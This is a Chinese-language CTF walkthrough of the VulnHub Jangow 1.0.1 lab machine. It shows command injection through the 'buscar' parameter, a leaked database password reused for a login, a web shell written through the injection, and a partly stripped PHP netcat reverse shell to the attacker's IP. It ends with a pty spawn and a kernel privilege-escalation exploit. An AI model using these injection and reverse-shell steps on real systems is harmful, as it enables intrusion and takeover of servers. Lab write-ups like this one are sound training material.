VulnHub_Jangow: 1.0.1

本文内容涉及程序/技术原理可能带有攻击性,仅用于安全研究和教学使用,务必在模拟环境下进行实验,请勿将其用于其他用途。
因此造成的后果自行承担,如有违反国家法律则自行承担全部法律责任,与作者及分享者无关

主机信息

kali:192.168.31.9
BreakOut:192.168.31.227

信息收集

使用nmap探测目标主机端口2个端口,一个FTP,一个http
VulnHub_Jangow: 1.0.1_第1张图片
80端口网站打开是一个目录
VulnHub_Jangow: 1.0.1_第2张图片
打开site后是一个网站
VulnHub_Jangow: 1.0.1_第3张图片
简单查看后发现Buscar可以到跳转到其他页面,并且可接收参数
VulnHub_Jangow: 1.0.1_第4张图片

GETSHELL

经过测试这个接口可以执行命令
VulnHub_Jangow: 1.0.1_第5张图片
查看页面源码发现使用buscar接收参数后使用system函数进行执行命令
VulnHub_Jangow: 1.0.1_第6张图片
尝试反弹shell没有成功,然后查看用户目录下有一个user.txt
ef566b00666110942e96ab335b8d5487.png
访问后得到第一个flag
76abf6e1db938c90ad4a60a53b17f271.png
在网站目录下查看wordpress目录,发现一个config.php
VulnHub_Jangow: 1.0.1_第7张图片
查看配置文件拿到数据库用户名和密码,通过代码判断应该是MySQL的数据库
VulnHub_Jangow: 1.0.1_第8张图片

$servername = "localhost";
$database = "desafio02";
$username = "desafio02";
$password = "abygurl69";

使用获取到的用户名和密码尝试登录失败
VulnHub_Jangow: 1.0.1_第9张图片
然后尝试使用系统的用户和配置文件的密码组合发现登录成功,但是无法通过FTP获取更多信息
VulnHub_Jangow: 1.0.1_第10张图片
尝试使用命令执行写入shell

http://192.168.31.227/site/busque.php?buscar=echo '' >> shell.php

VulnHub_Jangow: 1.0.1_第11张图片
检查看到shell写入成功
VulnHub_Jangow: 1.0.1_第12张图片
测试链接成功
VulnHub_Jangow: 1.0.1_第13张图片
VulnHub_Jangow: 1.0.1_第14张图片
查看系统版本和内核信息
f7277088b83e8cf5692409a658e22a08.png
查看.backup文件,发现存在用户名密码
VulnHub_Jangow: 1.0.1_第15张图片
反弹shell
使用蚁剑创建文件x.php,将以下内容写入文件,在kali上监听443端口,然后访问该文件

&1|nc 192.168.31.239 443 >/tmp/f");?>

VulnHub_Jangow: 1.0.1_第16张图片
然后使用python获取一个ttyshell

python3 -c 'import pty;pty.spawn("/bin/bash")'

VulnHub_Jangow: 1.0.1_第17张图片
然后我们们用之前获取的用户名密码切换到jangow01用户
VulnHub_Jangow: 1.0.1_第18张图片

提权

通过上面获取的内核版本信息,使用searchspolit查询发现有可用的提权POC
VulnHub_Jangow: 1.0.1_第19张图片
然后将POC下载到本地
VulnHub_Jangow: 1.0.1_第20张图片
将POC进行编译
VulnHub_Jangow: 1.0.1_第21张图片
通过尝试最终在jangow01用户的家目录下上传了exp
VulnHub_Jangow: 1.0.1_第22张图片
在赋权执行时发现执行失败
VulnHub_Jangow: 1.0.1_第23张图片
然后尝试使用ssh进行本地连接
VulnHub_Jangow: 1.0.1_第24张图片
使用ssh连接后发现仍无法执行,最终确定因为编译机器kali为ARM架构,靶机为x86所以会导致执行失败,然后将POC上传到靶机进行编译后成功提权
VulnHub_Jangow: 1.0.1_第25张图片
查看最后一个Flag
VulnHub_Jangow: 1.0.1_第26张图片

你可能感兴趣的:(CTF,linux,java,python,数据库,安全)